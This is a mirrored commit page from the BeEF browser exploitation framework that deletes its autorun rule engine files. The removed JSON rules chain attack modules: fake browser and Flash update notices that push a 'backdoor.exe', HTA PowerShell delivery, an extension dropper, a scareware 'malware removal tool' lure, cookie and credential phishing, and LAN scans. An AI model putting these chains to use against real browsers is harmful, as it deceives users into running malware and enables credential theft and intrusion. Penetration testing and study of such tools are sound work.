admin/beefproject-beef
1
0
Fork 0
mirror of https://github.com/beefproject/beef synced 2026-06-08 13:15:56 +00:00
Code Issues Packages Projects Releases Wiki Activity

Phase 5: Remove Configuration and Assets

Browse Source
This commit is contained in:
kaitoozawa
2025-12-27 16:42:36 +10:00
parent de30c65d7e
commit a9de1fad61
29 changed files with 0 additions and 584 deletions
Download Patch File Download Diff File Expand all files Collapse all files
arerules/alert.json
-14
View File
@@ -1,14 +0,0 @@
{"name": "Display an alert",
"author": "mgeeky",
"modules": [
{"name": "alert_dialog",
"condition": null,
"options": {
"text":"You've been BeEFed ;>"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/c_osx_test-return-mods.json
-35
View File
@@ -1,35 +0,0 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}
arerules/confirm_close_tab.json
-16
View File
@@ -1,16 +0,0 @@
{"name": "Confirm Close Tab",
"author": "mgeeky",
"modules": [
{"name": "confirm_close_tab",
"condition": null,
"code": null,
"options": {
"text":"Are you sure you want to navigate away from this page?",
"usePopUnder":"true"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/enabled/README
-2
View File
@@ -1,2 +0,0 @@
Move here the ARE rule files that you want to pre-load when BeEF starts.
Make sure they are .json files (any other file extension is ignored).
arerules/ff_osx_extension-dropper.json
-19
View File
@@ -1,19 +0,0 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "Ummeneske",
"xpi_name": "Ummeneske",
"base_host": "http://172.16.45.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/get_cookie.json
-14
View File
@@ -1,14 +0,0 @@
{
"name": "Get Cookie",
"author": "@benichmt1",
"modules": [
{"name": "get_cookie",
"condition": null,
"options": {
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/ie_win_fakenotification-clippy.json
-31
View File
@@ -1,31 +0,0 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://172.16.45.1:3000/clippy/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}
arerules/ie_win_htapowershell.json
-26
View File
@@ -1,26 +0,0 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}
arerules/ie_win_missingflash-prettytheft.json
-27
View File
@@ -1,27 +0,0 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}
arerules/ie_win_test-return-mods.json
-35
View File
@@ -1,35 +0,0 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_cors_scan.json
-25
View File
@@ -1,25 +0,0 @@
{"name": "LAN CORS Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_cors",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_cors_scan_common.json
-19
View File
@@ -1,19 +0,0 @@
{"name": "LAN CORS Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "cross_origin_scanner_cors",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/lan_fingerprint.json
-25
View File
@@ -1,25 +0,0 @@
{"name": "LAN Fingerprint",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_fingerprint_common.json
-19
View File
@@ -1,19 +0,0 @@
{"name": "LAN Fingerprint (Common IPs)",
"author": "antisnatchor",
"modules": [
{"name": "internal_network_fingerprinting",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/lan_flash_scan.json
-24
View File
@@ -1,24 +0,0 @@
{"name": "LAN Flash Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_flash",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_flash_scan_common.json
-19
View File
@@ -1,19 +0,0 @@
{"name": "LAN Flash Scan (Common IPs)",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "cross_origin_scanner_flash",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/lan_http_scan.json
-25
View File
@@ -1,25 +0,0 @@
{"name": "LAN HTTP Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "get_http_servers",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_http_scan_common.json
-19
View File
@@ -1,19 +0,0 @@
{"name": "LAN HTTP Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "get_http_servers",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/lan_ping_sweep.json
-22
View File
@@ -1,22 +0,0 @@
{"name": "LAN Ping Sweep",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "ping_sweep",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"threads":"3"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_ping_sweep_common.json
-17
View File
@@ -1,17 +0,0 @@
{"name": "LAN Ping Sweep (Common IPs)",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "ping_sweep",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"threads":"3"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/lan_port_scan.json
-25
View File
@@ -1,25 +0,0 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
"ports":"80,8080",
"closetimeout":"1100",
"opentimeout":"2500",
"delay":"600",
"debug":"false"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/lan_sw_port_scan.json
-21
View File
@@ -1,21 +0,0 @@
{"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"192.168.1.10",
"ports":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}
arerules/man_in_the_browser.json
-13
View File
@@ -1,13 +0,0 @@
{"name": "Perform Man-In-The-Browser",
"author": "mgeeky",
"modules": [
{"name": "man_in_the_browser",
"condition": null,
"code": null,
"options": {}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/raw_javascript.json
-15
View File
@@ -1,15 +0,0 @@
{
"name": "Raw JavaScript",
"author": "wade@bindshell.net",
"modules": [
{"name": "raw_javascript",
"condition": null,
"options": {
"cmd": "alert(0xBeEF);"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/record_snapshots.json
-15
View File
@@ -1,15 +0,0 @@
{"name": "Collects multiple snapshots of the webpage within Same-Origin",
"author": "mgeeky",
"modules": [
{"name": "spyder_eye",
"condition": null,
"options": {
"repeat":"10",
"delay":"3000"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
arerules/win_fake_malware.json
-35
View File
@@ -1,35 +0,0 @@
// note: update your dropper URL (dropper.local) in each of the modules below
{
"name": "Windows Fake Malware",
"author": "bcoles",
"os": "Windows",
"modules": [
{
"name": "blockui",
"condition": null,
"options": {
"message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
"timeout": "9999"
}
},
{
"name": "text_to_voice",
"condition": null,
"options": {
"message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
"language": "en"
}
},
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"url": "http://dropper.local/malware_removal_tool.exe",
"notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
}
}
],
"execution_order": [0,1,2],
"execution_delay": [0,0,0],
"chain_mode": "sequential"
}
config.yaml
-13
View File
@@ -102,19 +102,6 @@ beef:
database:
file: "beef.db"
# Autorun Rule Engine
autorun:
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
core/main/handlers/hookedbrowsers.rb
-7
View File
@@ -113,13 +113,6 @@ module BeEF
zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)
are_executions.each do |are_exec|
@body += are_exec.mod_body
are_exec.update(is_sent: true, exec_time: Time.new.to_i)
end
# @note We dynamically get the list of all browser hook handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)
else
core/main/rest/api.rb
-7
View File
@@ -48,12 +48,6 @@ module BeEF
end
end
module RegisterAutorunHandler
def self.mount_handler(server)
server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
@@ -61,7 +55,6 @@ module BeEF
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')
#
# Check the source IP is within the permitted subnet